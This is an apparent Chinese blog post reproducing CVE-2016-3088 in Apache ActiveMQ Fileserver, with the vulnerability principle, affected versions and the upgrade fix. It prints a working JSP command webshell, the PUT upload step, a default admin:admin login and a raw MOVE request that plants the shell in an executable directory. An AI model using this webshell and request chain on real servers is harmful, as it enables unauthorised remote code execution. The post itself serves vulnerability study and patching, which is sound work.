• 【漏洞复现】ActiveMQ Fileserver远程代码执行漏洞


    3.1、漏洞原理

    ActiveMQ 是 Apache 软件基金会下的一个开源消息驱动中间件软件。Jetty 是一个开源的 servlet 容器,它为基于 Java 的 web 容器,例如 JSP 和 servlet 提供运行环境。ActiveMQ 5.0 及以后版本默认集成了jetty。在启动后提供一个监控 ActiveMQ 的 Web 应用。

    2016年4月14日,国外安全研究人员 Simon Zuckerbraun 曝光 Apache ActiveMQ Fileserver 存在多个安全漏洞,可使远程攻击者用恶意代码替代Web应用,在受影响系统上执行远程代码(CVE-2016-3088)。 

    核心思路

    ActiveMQ Web控制台分为三个应用程序:admin,api和fileserver,其中admin是管理员页面,api是界面,fileserver是用于存储文件的界面;admin和api需要先登录才能使用,fileserver不需要登录。

    文件服务器是RESTful API接口。我们可以通过HTTP请求(例如GET,PUT和DELETE)读写存储在其中的文件。最初设计目的是为了弥补消息队列操作无法传输和存储二进制文件,后来发现该方式存在使用率不高、文件操作容易产生漏洞的缺陷。

    此漏洞出现在Fileserver应用程序中,该漏洞的原理实际上非常简单,即文件服务器支持写入文件(但不解析JSP),同时支持移动文件(MOVE请求)。因此,我们只需要编写一个文件,然后使用移动请求将其移动到任何位置,就会导致任意文件写入漏洞。

    写入文件,例如cron或ssh key

    1、编写Webshel​​l(方便,但文件服务器不需要解析jsp,admin和api都需要登录才能访问)

    2、写入文件,例如cron或ssh key(方便,能直接反弹Shell,但需要root权限)

    3、编写库和配置文件,例如jar或jetty.xml(jar:麻烦,需要jar后门;xml比较可靠,但需要知道ActiveMQ的绝对路径。) ​

    3.2、影响版本

    Apache ActiveMQ 5.x ~ 5.14.0 

    3.3、指纹特征

    1.通常有默认页

    2.使用Goby、AWVS、指纹识别类平台识别 

    3.4、漏洞复现

    两个端口中61616为业务端口,用于生产消费数据

    8161为管理端口,用于web端进行配置管理

    访问管理端口

    PUT上传一个webshell到fileserver目录,文件名为jsp后缀会拒绝上传,修改为txt结尾。

    webshell内容:

    <%@ page import="java.io.*" %>
    <%
    try {
    String cmd = request.getParameter("cmd");
    Process child = Runtime.getRuntime().exec(cmd);
    InputStream in = child.getInputStream();
    int c;
    while ((c = in.read()) != -1) {
    out.print((char)c);
    }
    in.close();
    try {
    child.waitFor();
    } catch (InterruptedException e) {
    e.printStackTrace();
    }
    } catch (IOException e) {
    System.err.println(e);
    }
    %> 

    在fileserver处put上传为2.txt文件(因为会拦截jsp),但是此目录没有执行权限

    上传成功

    用默认账号密码admin:admin登录

    访问

    http://:端口/admin/test/systemProperties.jsp

    找到activemq.home路径,此目录下有执行权限,此处为/opt/activemq

    构造MOVE请求,移动webshell到可解析目录api下

    MOVE /fileserver/2.txt HTTP/1.1
    Host: 192.168.199.161:8161
    Destination:file:///opt/activemq/webapps/api/test.jsp
    Content-Length: 4
    
    test

    访问/api/ 查看到test.jsp

    写入连接密码执行命令

    3.5、修补方案

    ActiveMQ Fileserver 的功能在 5.14.0 及其以后的版本中已被移除。建议用户升级至 5.14.0 及其以后版本。

  • 相关阅读:
    在架构组工作是种什么体验?今天大鸡腿带你体验下~
    Android Gradle 学习笔记(二)环境安装
    【蓝桥杯选拔赛真题04】C++计算24数字游戏 青少年组蓝桥杯C++选拔赛真题 STEMA比赛真题解析
    5-整合swagger2
    uni-app 超详细教程(三)(从菜鸟到大佬)
    【Spring Security】安全框架学习(十三)
    java毕业设计车险销售管理系统mybatis+源码+调试部署+系统+数据库+lw
    uni-app - 城市选择索引列表 / 通过 A-Z 排序的城市列表(uview 组件库 IndexList 索引列表)
    【数据结构】排序4——选择排序(直接选择排序、堆排序)
    全新分子图对比学习框架:飞桨社区开发者为你解读顶会论文
  • 原文地址:https://blog.csdn.net/weixin_52351575/article/details/133096522